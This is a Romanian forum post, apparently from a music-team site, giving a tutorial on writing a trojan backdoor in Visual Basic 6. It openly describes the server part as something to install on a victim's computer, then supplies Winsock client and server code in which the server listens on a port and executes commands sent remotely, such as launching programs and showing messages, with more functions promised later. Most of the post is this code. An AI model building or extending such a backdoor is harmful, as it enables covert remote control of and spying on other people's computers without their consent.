Simpatie.ro - matrimoniale
~~BeStCMuZiC~~
Bine ai venit!!
Nou pe simpatie:
Scumpa85
Femeie
24 ani
Bucuresti
cauta Barbat
27 - 45 ani
~~BeStCMuZiC~~InregistrareLoginPozeNu sunteti logat. Lista Forumurilor Pe Tematici
~~BeStCMuZiC~~ / --=[Programare]=-- /

Crearea unui Trojan BackDoor in Visual Basic 6

Pagini: 1 Moderat de Best C MuzicTeam BlogSpot, BestCMuzic TEAM!
#1
Galactic
Administrator
Din: Oradea
Postari: 224
Crearea unui Trojan BackDoor in Visual Basic 6


Sa incepem .

   Ce e un trojan ( Backdoor ) ? Este o aplicatie creata pentru a fura date dintr-un calculator , pentru a spiona , uneori pentru a obtine control total asupra unui calculator . Ea este de obicei formata din doua componente : client si server . Serverul este aplicatia care va trebui instalata pe calculatorul victimei , componenta care va prelucra datele , iar clientul este aplicatia care va trimite comenzi catre server , va spune ce anume sa faca serverul .

   Care e ideea de baza ? Simplu . Din client trimitem un cuvant ( string ) catre server , iar atunci cand serverul va primi acel string , va face ceva anume . De exemplu , daca din client trimitem catre server stringul "mesaj" , serverul va afisa un MsgBox .

   Cum vom face acest lucru ? Vom folosi WINSOCK , mai exact MSWINSCK.OCX . Ce este acest winsock ? Este o biblioteca de functii , care ne permite sa ne conectam , sa trimitem si sa receptionam date .

   Sa incepem . Intram in Visual Basic , alegem Standard si punem un Winsock pe Form ( nu o sa stau sa va explic cum se face asta , daca nu stiti jucati Mario ) . Mai punem un TextBox pentru IP , si un buton de conectare . Asta pentru client .

   Deschidem din nou Visual Basic , pentru server , si nu punem decat un Winsock .

   Sa facem conexiunea . Serverul va deschide un port prin care va primi datele de la client , pe care le va procesa . Cum facem asta ?

   Private Sub Form_Load()
   On Error Resume Next ' Handler de erori . In caz de eroare , se trece peste eroare , nu se opreste rularea serverului .
   Winsock1.LocalPort = 1111 ' Deschidem portul 1111 ( Puteti alege alt port )
   Winsock1.Listen ' Setam serverul sa astepte date de la client
   End Sub

   Serverul va trebui rulat . Apoi in client , ne conectam la server :

   Private Sub Command1_Click()
   On Error Resume Next ' La fel
   Winsock1.Close ' Inchidem o conexiune anterioara , daca aceasta exista
   Winsock1.RemoteHost = Text1.Text ' IPul la care vrem sa ne conectam , cel din TextBox . Daca testezi serverul pe calculatorul tau poti folosi la IP 127.0.0.1 .
   Winsock1.RemotePort = 1111 ' Setam portul prin care clientul sa se conecteze la server
   Winsock1.Connect ' Conectam clientul la server
   End Sub

   In caz de conexiune reusita , va interveni evenimentul Winsock_Connect . Putem afisa pe titlu ferestrei clientului , ca avem o conexiune reusita .

   Private Sub Winsock1_Connect()
   Form1.Caption = "Conectat la" & Text1.Text ' Setam captionul ( titlul ) ferestrei ca s-a conectat , Text1.Text , fiind IP-ul scris in TextBox .
   End Sub

   In caz de o conexiune nereusita va interveni evenimentul Private Sub Winsock1_Error() . La fel , putem afisa la titlul ferestrei , faptul ca a intervenit o eroare :

   Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
   Form1.Caption = "Eroare la conectare"
   End Sub

   Acum in server . La apasarea butonului de conectare din client , in server , va interveni evenimentul Winsock1_ConnectionRequest . Va trebui acceptata conexiunea .

   Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
   Winsock1.Close ' Inchidem o conexiune existenta , in caz ca exista
   Winsock1.Accept requestID ' Acceptam conexiunea de la client
   End Sub

   Cam asta a fost conexiunea . Acum , sa setam sa faca serverul ceva anume , pentru inceput sa deschida notepad . Pentru asta , vom trimite din client stringul "notepad" , iar cand serverul va primi acel string , va deschide notepad in calculatorul victimei .

   Cum trimitem stringul ? Vom pune inca un buton , si la apasarea acestuia , vom trimite stringul .

   Private Sub Command2_Click()
   On Error Resume Next
   Winsock1.SendData "notepad" ' Trimitem stringul "notepad"
   End sub

   La primirea stringului , in server , va interveni evenimentul Winsock1_DataArrival() . Vom primi si vom procesa datele .

   Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
   Dim date_primite As String  ' Declaram variabila date_primite de tipul string
   Winsock1.GetData date_primite  ' Memoram datale primite in variabila date_primite .
   If date_primite = "notepad" Then ' Verificam daca stringul trimis din client si memorat in server este "notepad" , si daca este , deschidem notepad .
   Shell "notepad.exe" ' Deschidem notepad .
   End If ' Inchidem instructiunea If
   End Sub
   Dar ce facem daca vrem sa trimitem mai multe date din client , si sa nu stim ce anume contin unele , sa poata fi modificate de utilizatorul clientului , de exemplu , sa trimitem un mesaj ? Simplu . Trimitem totul ca un singur string , iar in server il vom imparti intr-un vector . Vom face acest lucru in server , cu ajutorul functiei Split . Deci in client , la trimiterea stringului , va trebui sa folosim un delimitator . Vom impatri in server datele primite in vector folosind acel delimitator . Mai bine va dau un exemplu .

   Mai puneti pe Form un buton si un TextBox .

   Private sub Command3_click()
   On Error Resume Next
   Winsock1.SendData "mesaj|" + Text2.Text ' Dupa cum vedeti , dupa "mesaj" , se afla caracterul "|" . Vom folosi acest caracter pe post de delimitator . Cand serverul va primi stringul "mesaj" , va afisa un mesaj ( MsgBox ) , cu datele trimise dupa mesaj si anume Text2.Text .
   End Sub

   In server vom procesa datele primite :

   Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
   Dim date_primite As String
   Dim Vector() As String ' Declaram vectorul Vector() de tip string .
   Winsock1.GetData date_primite
   Vector() = Split(date_primite,"|" ' Acum impartim datele primite in vector in functie de delimitatorul nostru "|" . Asadar primul element al vectorului va fi "mesaj" , iar cel de-al doilea va fi Text2.Text , mesajul trimis din server . Atentie : vectorii in Visual Basic sunt in baza 0 , adica incep de la 0 . Asadar primul element al vectorului va fi Vector(0) nu Vector(1) . Putem seta ca vectorii sa inceapa de la 1 , folosind instructiunea Option Base 1 la Declarations . Deci Vector(0) va fi "mesaj" iar Vector(1) va fi mesajul trimis din client . Va trebui sa verificam apoi primul string Vector(0) , si daca acesta este "mesaj" vom afisa ca MsgBox continutul lui Vector(1) .
   If Vector(0) = "mesaj" Then ' Verificam daca primul string este "mesaj"
   MsgBox Vector(1) ' Afisam ca MsgBox continutul mesajului trimis din client.
   End If
   End Sub

   Aceasta este ideea de baza . Sa prezint in continuare starile prin care trece un Winsock . Putem verifica aceste stari , folosind metoda State . Aceste stari sunt :

   0 - sckClosed - Conexiunea e inchisa
   1 - sckOpen - Conexiunea e deschisa
   2 - sckListening - Conexiunea e in asteptare
   3 - sckConnectionPending - Conexiune in desfasurare
   4 - sckResolvingHost - In curs de rezolvare
   5 - sckResolved - Sistem gazda rezolvat
   6 - sckConnecting - Se conecteaza
   7 - sckConnected - Conectat
   8 - sckClosing - Se inchide conexiunea
   9 - sckError - Eroare

   Ce putem face cu aceste state-uri ? De exemplu nu lasam sa se trimita un string din client in caz ca acesta nu este conectat la server .

   Private Sub Command2_Click()
   If Winsock1.State <> 7 ' State-ul este 7 daca este conectat
   MsgBox "Nu esti conectat" ' In caz ca nu e conectat , afisam mesajul "Nu esti conectat" .
   Else: Winsock1.SendData "notepad"
   End If
   End Sub

   Daca incercam sa trimitem un string si clientul nu e conectat , si nu folosim On Error Resume Next , clientul se va inchide in urma unei erori .

   Nu pare cine stie ce , dar de la aceasta idee au plecat toti . Aceasta este decat prima parte , voi reveni si cu o a doua parte in care voi incerca sa va explic cat mai multe functii : Open CDRom , Hide Mouse Cursor etc .

   Sper ca ati inteles .


_______________________________________



BestCMuzic-Team



Intra si tu pe Blogul nostru WwW.BestCMuzic.Blogspot.com
_______________________________________
By Galactic--->BestCMuzic Team!

 
   
Pagini: 1  
Mergi la